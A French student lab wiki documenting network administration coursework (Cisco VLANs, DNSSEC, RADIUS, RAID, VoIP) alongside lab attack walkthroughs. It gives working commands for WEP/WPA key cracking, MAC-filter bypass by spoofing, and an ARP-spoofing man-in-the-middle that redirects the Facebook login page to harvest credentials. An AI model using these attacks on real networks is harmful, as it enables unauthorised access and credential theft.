PRA2015 - Configuration des commutateurs
Sommaire
- 1 Cahier des charges
- 2 Progression
Cahier des charges
Présentation du travail
Le but de la tâche est de configurer le commutateur Cisco 6009 de la salle E306. Le binôme n°4 s'occupe du commutateur de même modèle situé en salle E304.
A l'origine, le matériel sur lequel nous travaillons nous est mis à disposition dans une configuration un peu particulière. En effet la carte superviseur (carte mère) du routeur est livrée avec un système d'exploitation CatOS, tandis que la carte routage (carte fille) fonctionne sous IOS. Dans un premier temps la tâche consistera donc de migrer complètement le routeur vers un système IOS. On pourra par la suite configurer les différents VLANs et la connexion redondante sur les routeurs (groupes 1 & 2). Pour plus de clarté sur l'architecture du réseau, je vous invite à consulter le schéma mis en place par nos collègues du groupe 1.
Matériel utilisé
- Commutateur Cisco 6009
- Un ordinateur muni d'un port série pour la configuration
Progression
Semaine 1 - Prise en main
Dans un premier temps, nous découvrons le matériel à notre disposition et essayons de comprendre comment il fonctionne. Le commutateur Cisco 6009 est constitué d'un rack de 5 baies. Deux d'entre elles contiennent un module permettant le routage sur les modules de ports RJ45. Intéressons nous maintenant à ces deux modules en particulier. Ceux-ci sont constituées d'une carte mère appelée carte superviseur et une carte fille qui est la carte routeur. Chacune des deux cartes contiennent leur propre mémoire flash appelée bootflash. Une carte flash de 20 Mo peut aussi être insérée dans le module. La configuration originelle de ces modules est un peut particulière :
- Module 1 : Un CatOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur
- Module 2 : Un IOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur
L'idée est de migrer tout les modules vers des systèmes d'exploitation de type IOS (le seul système utilisé aujourd'hui par Cisco).
Semaine 2 - Installation et configuration des OS
Installation des OS
On démarre le commutateur avec un seul module superviseur branché. On en configurera un seul à la fois. Nous avons décidé de configurer le module avec CatOS en premier.
Nous passons en mode enable avec la commande du même nom, pour ensuite associer une IP à l'interface sc0. Avec celle ci nous pourrons transférer les fichiers avec un ordinateur (tutur06) via TFTP.
console> enable console (enable)> set interface sc0 192.168.0.1 255.255.255.0
A cause d'une erreur (bad device info block), nous avons du formater la flash pour pouvoir la lire et écrire dessus. En effet chaque OS a son propre système de fichier.
console (enable)> format slot0:
On peut maintenant copier le binaire contenant l'OS à installer. Pour cela on configure une IP dans le même réseau que l'interface sc0 sur tutur06. L'ordinateur est déjà configuré pour transférer des fichiers par TFTP. Ici nous avons configuré l'IP 192.168.0.2/24.
console (enable)> copy tftp slot0: console (enable)> 192.168.0.2 console (enable)> "emplacement du fichier"
A partir de là, on peut donc booter directement sur la carte sous IOS. Pour cela il faut interrompre le boot automatique sur CatOS pour indiquer au système de boot sur la carte IOS.
Comme il y a eu un problème de carte avec le deuxième binôme, nous avons du re-formater leur carte au format CatOS, pour cela il a fallu booter en CatOS, la formater sous CatOS et leur remettre les bons fichiers sur la carte via tftp.
A partir de là nous avons pu, de la même manière que précédemment, formater la deuxième au format IOS puis y mettre les fichiers IOS via tftp. En outre, nous avons indiqué au système de boot sur la carte flash via la directive :
BOOT=slot0:<CHEMIN DU FICHIER.bin>
Configuration des OS
La configuration réseau du routeur se déroule en 3 étapes.
Dans un premier temps, on configure les liaisons trunk. Il s'agit ici de la liaison qui relie le commutateur au routeur en E306, sur l'interface 4/3, et la liaison cable qui relie le commutateur au routeur en E304 sur l'interface 7/2. On écrit donc pour chaque interface
conf t int Gi4/3 switchport switchport mode trunk switchport trunk allowed vlan 11-20,110,130 no shut exit
int Gi7/2 switchport switchport trunk encapsulation dot1q switchport mode trunk switchport trunk allowed vlan 11-20,110,130 no shut exit
Il faut ensuite créer les VLAN, par exemple :
conf t vlan 13 name vlan13 exit
On fait ceci pour les VLAN 11 à 20, puis 110 et 130. Une fois qu'ils sont déclarés, on les attribue à un port physique du commutateur :
int Gi4/13 switchport access vlan 13 no shut exit
Le schéma physique est le suivant :
- VLAN11 : Gigabit 4/11
- VLAN12 : Gigabit 4/12
- VLAN13 : Gigabit 4/13
- VLAN14 : Gigabit 4/14
- VLAN15 : Gigabit 4/15
- VLAN16 : Gigabit 4/16
- VLAN17 : Gigabit 4/17
- VLAN18 : Gigabit 4/18
- VLAN19 : Gigabit 4/19
- VLAN20 : Gigabit 4/20
- VLAN 110 : Gigabit 4/1
Semaine 3
Nous avons commencé par créer une VM Xen sur le serveur Cordouan :
xen-create-image --hostname=chimay --ip=193.48.57.163 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd
- Notre IP : 193.48.57.163
- Masque : 255.255.255.240
- Passerelle : 193.48.57.174
Nous avons ensuite crée 2 partitions LVM, home et var.
lvcreate -L 10G -n /dev/virtual/ima5-chimay-home -v lvcreate -L 10G -n /dev/virtual/ima5-chimay-var -v
Il faut enfin modifier le fichier /etc/xen/chimay.cfg, y rajouter les partitions LVM :
disk = [
'phy:/dev/virtual/ima5-chimay-var,xvdb,w'
'phy:/dev/virtual/ima5-chimay-home,xvdb,w' ]
dans vif, rajouter bridge=IMA5sc
Enfin, une fois la VM lancée, on y ajoute le serveur apache, le serveur SSH et le serveur DNS :
apt-get install apache2 apt-get install openssh apt-get install bind9
On active la possibilité de se connecter par SSH en tant que root directement en ajoutant dans /etc/ssh/sshd_config :
PermitRootLogin yes
Semaine 4
Nous avons commencé par louer un nom de domaine chez Gandi. Comme le thème est la bière et que nous avons choisi de nommer notre VM Chimay, nous avons, pour des raisons légales, choisi de louer le domaine michay.lol.
Installation du serveur Apache et du certificat SSL
Nous avons commencé par configurer Apache et y installer un certificat SSL. A cet effet, nous avons commencé par générer un fichier .csr avec OpenSSL :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout michay.lol.key -out michay.lol.csr
Les domaines certifiés sont michay.lol et www.michay.lol.
On fournit la .csr à Gandi qui la signe et valide et nous renvoie un .crt. On choisit de le mettre à côté de la .key, et on supprime la .csr.
On poursuit ensuite en activant le module SSL d'Apache :
a2enmod ssl
Il faut ensuite configurer Apache pour écouter sur le port 443, dans /etc/apache2/ports.conf :
<IfModule mod_ssl.c> Listen 443 NameVirtualHost 193.48.57.163:443 </IfModule>
Enfin, on ajoute un VirtualHost servant le contenu du dossier /var/www/www.michay.lol/ sur le port 443, dans /etc/apache2/sites-available/000-michay.lol-ssl.conf :
<VirtualHost *:443> **** On veille à mettre un wildcard, sinon le certificat SSL n'est pas chargé quand l'adresse est un FQDN. **** ServerName www.michay.lol **** Domaine et Alias **** ServerAlias michay.lol DocumentRoot /var/www/www.michay.lol/ **** Dossier contenant les fichiers du site **** CustomLog /var/log/apache2/secure_access.log combined **** Localisation des logs **** SSLEngine on **** Activation du SSL **** SSLCertificateFile /etc/ssl/certs/www.michay.lol.crt **** Chargement du certificat signé par Gandi **** SSLCertificateKeyFile /etc/ssl/private/www.michay.lol.key **** Clé privée correspondant au certificat combiné à la PEM **** SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem **** Clé publique émise par Gandi **** SSLVerifyClient None </VirtualHost>
On peut alors remarquer que la connexion sécurisée s'affiche en vert dans la barre d'adresse : le certificat est valide. La connexion est sécurisée et le site est de confiance. On remarque notamment la date de validité, ici le certificat est valide pour 1 an.
On peut notamment voir toute la chaîne de certification !
Mise en place du serveur DNS et de DNSSEC
Toute la configuration du serveur DNS s'effectue dans le dossier /etc/bind/ :
Nous avons crée un dossier /etc/bind/zones dans lequel nous stockons nos fichiers de zone DNS.
zone db.michay.lol :
$TTL 604800
@ IN SOA ns.michay.lol. root.michay.lol. (
2015102001 ; Serial
86400 ; Refresh
3600 ; Retry
2419200 ; Expire
86400 ) ; Negative Cache TTL
$include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key
$include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key
@ IN NS ns.michay.lol.
@ IN NS ns6.gandi.net.
ns IN A 193.48.57.163
www IN A 193.48.57.163
god IN A 193.48.57.163
ns IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535
www IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535
god IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535
@ IN A 193.48.57.163
@ IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535
et la zone inverse pour la résolution des adresses IP, 57.48.193.in-addr.arpa :
$TTL 604800
@ IN SOA ns.michay.lol. root.michay.lol. (
2015102001 ;serial
14400 ;refresh
3600 ;retry
604800 ;expire
10800 ;minimum
)
57.48.193.in-addr.arpa. IN NS ns.michay.lol.
57.48.193.in-addr.arpa. IN NS ns6.gandi.net.
163 IN PTR michay.lol.
On peut enfin ajouter les zones dans le fichier de configuration principale de bind, /etc/bind/named.conf.local :
zone "michay.lol" {
type master;
file "/etc/bind/zones/db.michay.lol.signed";
allow-transfer { 217.70.177.40; };
notify yes;
};
zone "57.48.193.in-addr.arpa" IN {
type master;
file "/etc/bind/zones/57.48.193.in-addr.arpa";
allow-transfer { 217.70.177.40; };
};
Notons que par rapport à la configuration minimale des fichiers, nous avons rajouté quelques lignes, en particulier :
- allow-transfer { 217.70.177.40; }; notify yes; : Déclaration dans la configuration de l'adresse IP du DNS secondaire chez Gandi (ns6.gandi.net)
- @ IN NS ns6.gandi.net. et 57.48.193.in-addr.arpa. IN NS ns6.gandi.net. dans les fichiers de zone pour le DNS secondaire
On enchaîne enfin sur la sécurisation du serveur DNS avec DNSSEC, pour éviter qu'un pirate puisse par exemple modifier de manière invisible l'IP de redirection du domaine. Pour ce faire, on crée 2 clés : une Key Signing Key (KSK) et une Zone Signing Key (ZSK). On utilisera l'option -r /dev/urandom, pour utiliser la génération pseudo-aléatoire (au lieu de /dev/random par défaut), ce qui accélère grandement la génération sur notre système.
Génération de la KSK :
dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE michay.lol
Génération de la ZSK :
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE michay.lol
On renomme les 4 clés générées pour se retrouver dans notre dossier avec les fichiers suivants :
root@chimay:/etc/bind/michay.lol.dnssec# ls total 24 drwxr-sr-x 2 root bind 4096 Oct 20 15:10 . drwxr-sr-x 4 root bind 4096 Oct 21 18:12 .. -rw-r--r-- 1 root bind 603 Oct 20 13:48 michay.lol-ksk.key -rw------- 1 root bind 1774 Oct 20 13:48 michay.lol-ksk.private -rw-r--r-- 1 root bind 429 Oct 20 13:48 michay.lol-zsk.key -rw------- 1 root bind 1010 Oct 20 13:48 michay.lol-zsk.private
On ajoute le chemin d'accès aux clés publiques .key dans le fichier de zone db.michay.lol, en ajoutant ces lignes après la déclaration SOA :
$include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key $include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key
On fournit les clés publiques KSK et ZSK à Gandi pour qu'il puisse les propager sur l'internet (Rubrique "Gérer DNSSEC").
Pour finir, on signe la zone avec la commande dnssec-signzone :
dnssec-signzone -o michay.lol -k michay.lol.dnssec/michay.lol-ksk zones/db.michay.lol michay.lol.dnssec/michay.lol-zsk
Cela crée un fichier db.michay.lol.signed. Il ne nous reste plus alors qu'à modifier le fichier de configuration named.conf.local pour lui dire d'utiliser db.michay.lol.signed à la place de db.michay.lol.
Après test (juste ici), on constate que la mise en place de DNSSEC est validée. Après quelques modifications, il reste 1 "erreur" (pas de record MX défini, on pourrait supprimer l'erreur en mettant l'ip des serveurs mails Gandi), et 2 warnings (1 warning car le glue record du serveur DNS secondaire (ns6.gandi.net) ne peut pas être défini sur l'interface Gandi ; 1 warning parce que l'utilitaire considère que la valeur du refresh dans le SOA de la zone est trop haute).
Piratage des bornes wifi
Crackage WEP
Nous avons utilisé ici la célèbre distribution Kali pour effectuer le crack. On peut afficher l'état des interfaces réseau avec la commande iwconfig. Dans un premier temps, il faut passer l'interface wifi en mode monitor.
airmon-ng start wlanX
wlanX est l'interface wifi utilisée pour l'attaque. Si un problème survient, il peut peut être réglé en exécutant la commande :
airmon-ng check kill
L'étape suivante consiste à récupérer des vecteurs d'initialisation contenus dans les datas transmises. Pour cela, on peut afficher le traffic wifi avec la commande:
airodump-ng wlan5mon
Cette commande affiche les différents points d'accès ainsi que les clients connectés qui communiquent par Wifi. L'idée est maintenant de capturer et enregistrer les paquets du point d'accès qui nous intéresse. Dans notre cas, nous voulons cracker cracotte03. Pour cela, nous exécutons la commande :
airodump-ng --bssid 00:23:5E:1E:05:42 --ch 7 --write fichier wlanXmon
Nous laissons cette commande fonctionner durant le crack. Nous pouvons ouvrir un autre terminal. En théorie, il est nécessaire à cette étape de stimuler le traffic wifi pour récupérer des paquets. Dans le cadre de notre TP cette étape n'est pas nécessaire car le traffic est déjà très important. Nous pouvons passer directement au crackage de la clé. Dans le nouveau terminal, nous entrons :
aircrack-ng fichier*.cap
Les deux commandes peuvent fonctionner en parallèle. Nous n'avons plus qu'à attendre. Au bout d'un certain temps (~48k IVs), nous obtenons la clé :
KEY FOUND! [ 55:55:55:55:55:55:55:55:55:55:55:51:11 ]
Crackage WPA
De la même manière que pour le crackage WEP, dans un premier temps il faut passer l'interface WiFi en mode moniteur. Vous pouvez voir la démarche à suivre dans la partie Crackage WEP au dessus. Ensuite, on récupère le traffic de l'AP ciblé dans un fichier. Le but ici consiste à récupérer des données particulières à l'encryption WPA. Cette donnée s'appelle le handshake. Le handshake est transmis lors de l'authentification d'un client sur le point d'accès. En théorie on force le passage de ce handshake en envoyant des paquets de désauthentification d'un client au point d'accès. Dans le cadre du TP le handshake est transmis en permanence. On voit alors dans la fenêtre de airmon-ng que le handshake WPA a été récupéré.
Une fois que nous avons le handshake, nous allons cracker le mot de passe par bruteforce. Dans un premier temps nous allons générer un dictionnaire. On peut écrire un script simple pour cela, ou bien tout simplement utiliser la commande crunch :
crunch 8 8 0123456789 -o dictionnaire.txt
On peut maintenant lancer le bruteforce avec la commande :
aircrack-ng file.cap -w dictionnaire.txt
La vitesse du bruteforce dépend des performances du processeur. Pour accélérer le processus, on peut utiliser le programme pyrit qui va utiliser le GPU de l'ordinateur. La commande est :
pyrit -r file.cap -i dictionnaire.txt attack_passthrough
Les résultats
Pour ce test, étant donné que nous connaissions la clé, nous avons généré un dictionnaire allégé pour accélérer le processus de crackage.
crunch 8 8 012389 -o dictionnaire.txt
Utilisation d'aircrack
$ time aircrack-ng out-01.cap -w dic.txt
Aircrack-ng 1.2 rc3
[00:01:36] 404340 keys tested (4197.19 k/s)
KEY FOUND! [ 12399903 ]
Master Key : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87
40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93
Transient Key : 26 97 C3 D5 8D 70 A3 F0 19 3A 7D E0 BA 53 80 82
7A 50 BF 44 DD 30 B3 9C BF 17 57 2D 9B E6 14 BE
F3 FE 81 1B 80 A9 06 7B EF 3D D8 AB 94 3B 4E D9
BB C5 8D D9 D7 88 C7 B0 2D 79 88 ED BD 22 F9 94
EAPOL HMAC : AC 30 13 2E E7 7A 7B EE 43 48 5D 1B 84 2C DC 8B
real 1m37.298s
user 12m55.440s
sys 0m0.112s
La clé est crackée en 1 minute et 40 secondes avec une vitesse de ~4200 k/s.
Utilisation de pyrit
$ time pyrit -r out-01.cap -i dic.txt attack_passthrough Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Parsing file 'out-01.cap' (1/1)... Parsed 30 packets (30 802.11-packets), got 1 AP(s) Picked AccessPoint 04:da:d2:9c:50:52 ('cracotte03') automatically. Tried 440022 PMKs so far; 24749 PMKs per second. The password is '12399903'. real 0m21.305s user 2m20.100s sys 0m8.448s
La clé est crackée en 21 secondes avec une vitesse 6 fois supérieure avec ~25800 k/s.
Connexion à l'AP autorisé
On modifie le fichier /etc/network/interfaces
On commente #auto eth0
On configure wlan0 :
auto wlan0 iface wlan0 inet static address 172.26.79.63 netmask 255.255.240.0 gateway 172.26.79.254 wireless-essid troubadour wireless-mode managed
La connexion fonctionne sans soucis, on ping la gateway 172.26.79.254 et on accède à internet, en particulier les sites IPv4.
Connexion à l'AP filtré
On cherche cette fois à se connecter à un AP Wifi filtré par adresses MAC sur lequel on a pas le droit car notre adresse MAC n'est pas autorisée.
On modifie l'adresse MAC en prenant une adresse volée à l'aide du social engineering :
ifconfig wlan0 down ifconfig wlan0 hw ether 00:15:af:e7:19:f3 ifconfig wlan0 up
On arrive ensuite toujours à ping la gateway et accéder à internet sans soucis !
Configuration des Points d'Accès WiFi
Sur le commutateur on configure un port pour qu'il soit dans le VLAN 1 en mode trunk. On y connectera par la suite la borne d'accès WiFi. Le routeur sera configuré pour donner l'accès des autres VLAN au VLAN 1.
On peut dorénavant se connecter à la la borne en console pour la configurer. Un simple telnet sur le port par défaut suffit. On expliquera la démarche pour la configuration de l'AP dans la suite.
Dans un premier temps, nous avons configuré un serveur FreeRadius pour sécuriser le réseau WiFi par WPA2-EAP. Les fichiers de configuration du serveur se trouvent dans le dossier /etc/freeradius/.
On rajoute un user dans le fichier users, qui servira pour s'authentifier sur le réseau WiFi. Il suffit de rajouter une ligne dans le fichier :
myusername Cleartext-password := "myclearpassword"
On rajoute aussi dans le fichier clients.conf un nouveau client, de la manière suivante :
client E304 {
ipaddr = 10.10.10.1
secret = anotherpassword
}
client VLAN13 {
ipaddr = 172.20.13.0
netmask = 24
secret = anotherpassword
}
Il est important d'ajouter aussi un client pour la salle E306.
On configure aussi le fichier eap.conf pour utiliser le PEAP-MSCHAPv2. Il faut remplacer les valeurs des différents champs dans le fichier :
eap {
default_eap_type = peap
peap {
default_eap_type = mschapv2
}
}
On peut dorénavant configurer la borne WiFi. Pour cela on a utilisé les commandes de l'énoncé de TP, en modifiant les différentes valeurs. Ces commandes sont à exécuter en mode enable. Les identifiants par défaut sont Cisco/Cisco :
conf t aaa new-model aaa authentication login eap_chimay group radius_chimay radius-server host 193.48.57.163 auth-port 1812 acct-port 1813 key anotherpassword aaa group server radius radius_chimay server 193.48.57.163 auth-port 1812 acct-port 1813 exit dot11 ssid SSID_CHIMAY vlan 13 authentication open eap eap_chimay authentication network-eap eap_chimay authentication key-management wpa mbssid guest-mode exit interface Dot11Radio0 encryption vlan 13 mode ciphers aes-ccm tkip ssid SSID_CHIMAY exit interface Dot11Radio0.13 encapsulation dot1Q 13 no ip route-cache bridge-group 13 bridge-group 13 subscriber-loop-control bridge-group 13 spanning-disabled bridge-group 13 block-unknown-source no bridge-group 13 source-learning no bridge-group 13 unicast-flooding exit interface GigabitEthernet0.13 encapsulation dot1Q 13 bridge-group 13 exit exit
On peut maintenant configurer l'accès sur un eeepc, dans le fichier /etc/network/interfaces :
auto wlan0 iface wlan0 inet static address 172.20.13.12 netmask 255.255.255.0 gateway 172.20.13.254 wpa-ssid SSID_CHIMAY wpa-key-mgmt WPA-EAP wpa-identity myusername wpa-password mycleanpassword
Nous avons dû retirer le package network-manager car il semblerait qu'il reconfigure en fufu les interfaces réseau après la configuration manuelle. Sans lui, nous avons plus de contrôle sur la configuration.
Sécurisation des données
Nous avons sécurisé les données. Pour se faire, nous avons commencé par créer 3 partitions LVM de 1 Go :
lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid1 -v lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid2 -v lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid3 -v
Ensuite, nous les avons ajoutées à la configuration de la VM, dans /etc/xen/chimay.cfg :
'phy:/dev/virtual/ima5-chimay-raid1,xvdd,w', 'phy:/dev/virtual/ima5-chimay-raid2,xvde,w', 'phy:/dev/virtual/ima5-chimay-raid3,xvdf,w',
Après redémarrage, la VM démarre sans soucis. On s'y connecte, et on installe le paquet mdadm pour faire le RAID5 :
apt-get install mdadm
On crée le volume md0 :
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf
On vérifie que le volume est bien monté :
fdisk -l
Renvoie :
Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 524288 bytes / 1048576 bytes
Un mdam --detail nous montre plus de détails sur la partition :
root@chimay:~# mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Mon Nov 30 15:29:04 2015
Raid Level : raid5
Array Size : 2095104 (2046.34 MiB 2145.39 MB)
Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)
Raid Devices : 3
Total Devices : 3
Persistence : Superblock is persistent
Update Time : Mon Nov 30 15:29:04 2015
State : clean
Active Devices : 3
Working Devices : 3
Failed Devices : 0
Spare Devices : 0
Layout : left-symmetric
Chunk Size : 512K
Name : chimay:0 (local to host chimay)
UUID : 72cc8ab9:4063c466:b04894e4:2b38e399
Events : 0
Number Major Minor RaidDevice State
0 202 48 0 active sync /dev/xvdd
1 202 64 1 active sync /dev/xvde
2 202 80 2 active sync /dev/xvdf
Configuration d'un PCBX
Installation et mise en place d'un serveur DHCP
On commence par installer le serveur DHCP sur l'eeePC :
apt-get install isc-dhcp-server
On modifie ensuite la configuration dans /etc/dhcp/dhcpd.conf, et on y ajoute cette définition du subnet :
subnet 172.20.13.0 netmask 255.255.255.0 {
range 172.20.13.10 172.20.13.50;
option routers 172.20.13.254;
}
On oublie pas de changer aussi :
option domain-name "michay.lol" option name-server "ns.michay.lol","ns6.gandi.net"
Comme par magie, le téléphone sous Android 6.0 peut alors bien se connecter au point d'accès SSID_CHIMAY et acquiert son IP automatiquement :
Installation d'un serveur VoIP
On installe d'abord Asterisk :
apt-get install asterisk
Puis on ajoute dans /etc/asterisk/users.conf :
[general] hasvoicemail = yes hassip = yes hasiax = yes callwaiting = yes callwaitingcallerid = yes transfer = yes canpark = yes cancallforward = yes callreturn = yes callgroup = 1 pickupgroup = 1 nat = yes [1001] type=peer host=dynamic dtmfmode=rfc2833 disallow=all allow=ulaw fullname = booboon username = booboon secret=md5suchprotection context = work [1002] type=peer host=dynamic dtmfmode=rfc2833 disallow=all allow=ulaw fullname = lordswag username = lordswag secret=md5muchsecure context = work
Puis dans /etc/asterisk/extensions.conf :
[work]
exten => _6XXX,1,Dial(SIP/${EXTEN},20)
exten => _6XXX,2,Hangup()
Nous ne sommes pas parvenu à créer un compte dans l'application CSipClient, le serveur répond mais dit "forbidden", avec le bon mot de passe... Very Cool.
Attaque Man in the Middle
Pour ce faire, on utilisera Squid combiné à SquidGuard pour rediriger la page de login Facebook vers une page modifée, sans que la cible ne s'en rende compte. Le hack se fait de la manière suivante :
1. Le hacker récupère le trafic sortant de la cible en se faisant passer pour le routeur en utilisant la commande arpspoof (ARP poisonning) 2. Le hacker redirige la totalité du trafic de façon transparente vers le routeur avec les outils Squid, SquidGuard et iptables. Il configure SquidGuard pour rediriger les URLs convoitées vers des pages modifiées. Ici nous modifierons la page de login Facebook de façon à ce que les identifiants de connexion passent en HTTP. 3. Le hacker n'a plus qu'à surveiller le trafic avec un outil de type Wireshark, et voir notamment les requêtes HTTP POST transiter avec les identifiants de connexion. 4. Profit
Configuration de Squid
# Fichier /etc/squid3/squid.conf acl allowedips src 192.168.1.0/24 # ip ou range d'ip à attaquer http_access allow allowedips forwarded_for off # Masque notre ip dans le header HTTP http_access deny all # Empeche les personnes extérieures d'accéder à notre proxy cache_access_log /var/log/squid3/access.log cache_log /var/log/squid3/cache.log cache_store_log /var/log/squid3/store.log cache_dir ufs /var/spool/squid3 100 16 256 cache_mem 16 MB maximum_object_size 15 MB http_port 3129 intercept # Pour rendre le proxy transparent cache_effective_group root url_rewrite_program /usr/bin/squidGuard # Intégration de SquidGuard
Configuration de SquidGuard
Attention, il ne faut pas mettre de commentaires dans le fichier de configuration. Cela provoquera des erreurs.
# Fichier /etc/squidguard/squidGuard.conf
dbhome /usr/local/squidGuard/db # Dossier parent de la base de données
dest fb-login { # Définition des urls/domaines à rediriger
urllist facebook/url
}
acl {
default {
pass !fb-login all # Laisser passer tout ce qui ne concerne pas Facebook
redirect http://127.0.0.1/ # Rediriger le trafic vers notre serveur Apache local
}
}
# Fichier /usr/local/squidGuard/db/facebook/url fr-fr.facebook.com
Pour lancer le proxy, dans une console :
squidGuard -C all # Génération de la base de données (à faire à chaque modification des fichiers db) squid3 -z # Vérification de la configuration de Squid service squid start service squid status # Pour vérifier qu'il n'y a pas d'erreurs vim /var/log/squidguard/squidGuard.log
S'il y a des erreurs, il est possible que ce soit dû à des problèmes de permissions. Typiquement, on peut lancer les commandes :
chown -R proxy:proxy /var/log/squid3 /var/lib/squidguard chown -R proxy:proxy /var/log/squidguard chown -R proxy:proxy /usr/local/squidGuard
Configuration iptables et redirection
Ici nous allons configurer la redirection du trafic.
echo 1 > /proc/sys/net/ipv4/ip_forward # Autorise le forwarding ipv4 iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP # Bloque les ICMP 5 envoyés à la cible iptables -t nat -A PREROUTING -s <ip serveur squid> -p tcp --dport 80 -j ACCEPT # Accepter le trafic entrant sur le serveur Squid vers le port 80 sans le rediriger iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3129 # Redirige le trafic des autres IP à destination d'un port 80 vers le port 3128 de Squid iptables -t nat -A POSTROUTING -j MASQUERADE # Masque l'ip de la cible avec notre propre ip iptables -t mangle -A PREROUTING -p tcp --dport 3129 -j DROP # Bloque le trafic direct vers le port du serveur Squid
Voir le wiki de Squid pour plus d'informations.
Détournement du trafic
Pour rediriger le trafic de la cible vers notre machine, on va modifier la table ARP de la cible, avec la commande :
arpspoof -i <interface> -t <ip cible> <ip gateway>
On laisse tourner cette commande dans un terminal le temps de l'attaque. On peut maintenant voir le trafic venant de notre victime sur notre machine avec un logiciel comme Wireshark. Si la personne accède à l'URL facebook.fr, elle sera maintenant redirigée vers notre serveur Apache.
Cryptage de données
Dans cette partie, nous allons crypter une partition sur une carte SD à l'aide de cryptsetup.
Dans un premier temps, on insère la carte SD dans la machine. On peut afficher l'état des disques et des partitions à l'aide de la commande :
fdisk -l
Nous allons formater la carte de sorte qu'elle n'ait qu'une seule partition. Nous avons choisi le format FAT32. Nous avons utilisé le logiciel gParted pour cela. Dans notre cas, la partition est /dev/sdb1 Nous pouvons maintenant créer une partition cryptée avec :
cryptsetup luksFormat -c aes -h sha256 /dev/sdb1
Cette commande va demander quelques information et notamment une passphrase. Notre carte SD est désormais encryptée en AES SHA-256. On peut afficher l'état du disque avec la commande :
cryptsetup luksDump /dev/sdb1
Il faut maintenant ajouter un système de fichier à cette partition encryptée. Nous avons ici choisi le format ext3 :
cryptsetup luksOpen /dev/sdb1 <nom_du_disque> mkfs.ext3 /dev/mapper/<nom_du_disque>
On peut maintenant monter la partition dans un dossier :
mount -t ext3 /dev/mapper/<nom_du_disque> /mnt/
On peut maintenant lire et écrire des fichier sur la carte SD en utilisant le dossier /mnt/. Quand on a terminé, on exécute :
umount /mnt/ sudo cryptsetup luksClose <nom_du_disque>
Pour accéder à la carte SD :
cryptsetup luksOpen /dev/sdb1 <nom_du_disque> mount -t ext3 /dev/mapper/<nom_du_disque> /mnt/ // Opérations ici umount /mnt/ sudo cryptsetup luksClose <nom_du_disque>
